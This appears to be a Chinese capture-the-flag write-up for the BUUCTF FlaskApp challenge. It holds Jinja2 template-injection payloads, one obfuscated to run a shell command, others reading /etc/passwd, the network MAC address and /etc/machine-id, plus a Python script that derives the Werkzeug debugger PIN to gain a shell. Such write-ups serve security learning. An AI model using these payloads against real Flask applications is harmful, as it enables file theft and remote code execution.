BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell

ssti都给你了

复制代码
{{((lipsum.__globals__.__builtins__['__i''mport__']('so'[::-1])['p''open']("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}}

但是学习记录一下pin的获取

首先就是通过base加密后 当base64解密的时候 会造成ssfr

这里过滤了 * 所以使用 {{7+7}} 实现

然后我们开始看看源代码

可以发现HINT 下存在pin

所以是找pin

复制代码
pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 

这里我们开始

在解密随便输入内容

报错了 然后我们可以看源代码

复制代码
@app.route('/decode',methods=['POST','GET'])

def decode():

    if request.values.get('text') :

        text = request.values.get("text")

        text_decode = base64.b64decode(text.encode())

        tmp = "结果 : {0}".format(text_decode.decode())

        if waf(tmp) :

            flash("no no no !!")

            return redirect(url_for('decode'))

        res =  render_template_string(tmp)

        flash( res )

这里可以发现没啥内容 但是有waf

首先通过读取读取一下/etc/passwd

用户

复制代码
 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

存在flask web 用户

绝对路径

网卡

复制代码
/sys/class/net/eth0/address

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

56:89:65:ca:65:4a

然后需要处理

复制代码
56:89:65:ca:65:4a
568965ca654a

然后变为十进制即可
95148118271306

机器码

https://mochu.blog.csdn.net/article/details/132741209?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-4-132741209-blog-108400293.235%5Ev39%5Epc_relevant_anti_vip&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-4-132741209-blog-108400293.235%5Ev39%5Epc_relevant_anti_vip&utm_relevant_index=3

复制代码
{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}
	{%endif%}
{%endfor%}

1408f836b0ca514d796cbf8960e45fa1 

然后生成pin

复制代码
 import hashlib
 from itertools import chain
 probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
 ]
 ​
 private_bits = [
     '95148118271306',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
 ]
 ​
 h = hashlib.md5()
 for bit in chain(probably_public_bits, private_bits):
     if not bit:
         continue
     if isinstance(bit, str):
         bit = bit.encode('utf-8')
     h.update(bit)
 h.update(b'cookiesalt')
 ​
 cookie_name = '__wzd' + h.hexdigest()[:20]
 ​
 num = None
 if num is None:
     h.update(b'pinsalt')
     num = ('%09d' % int(h.hexdigest(), 16))[:9]
 ​
 rv =None
 if rv is None:
     for group_size in 5, 4, 3:
         if len(num) % group_size == 0:
             rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                           for x in range(0, len(num), group_size))
             break
     else:
         rv = num
 ​
 print(rv)
 ​

然后就可以实现交互shell

复制代码
os.popen('ls').read()

os.popen('ls /').read()
相关推荐
nananaij几秒前
【Python进阶篇 面向对象程序设计(3) 继承】
开发语言·python·神经网络·pycharm
雷羿 LexChien5 分钟前
从 Prompt 管理到人格稳定:探索 Cursor AI 编辑器如何赋能 Prompt 工程与人格风格设计(上)
人工智能·python·llm·编辑器·prompt
天天扭码34 分钟前
《很全面的前端面试题》——HTML篇
前端·面试·html
xw536 分钟前
我犯了错,我于是为我的uni-app项目引入环境标志
前端·uni-app
!win !38 分钟前
被老板怼后,我为uni-app项目引入环境标志
前端·小程序·uni-app
Burt40 分钟前
tsdown vs tsup, 豆包回答一坨屎,还是google AI厉害
前端
敲键盘的小夜猫1 小时前
LLM复杂记忆存储-多会话隔离案例实战
人工智能·python·langchain
高压锅_12201 小时前
Django Channels WebSocket实时通信实战:从聊天功能到消息推送
python·websocket·django
群联云防护小杜1 小时前
构建分布式高防架构实现业务零中断
前端·网络·分布式·tcp/ip·安全·游戏·架构
ohMyGod_1233 小时前
React16,17,18,19新特性更新对比
前端·javascript·react.js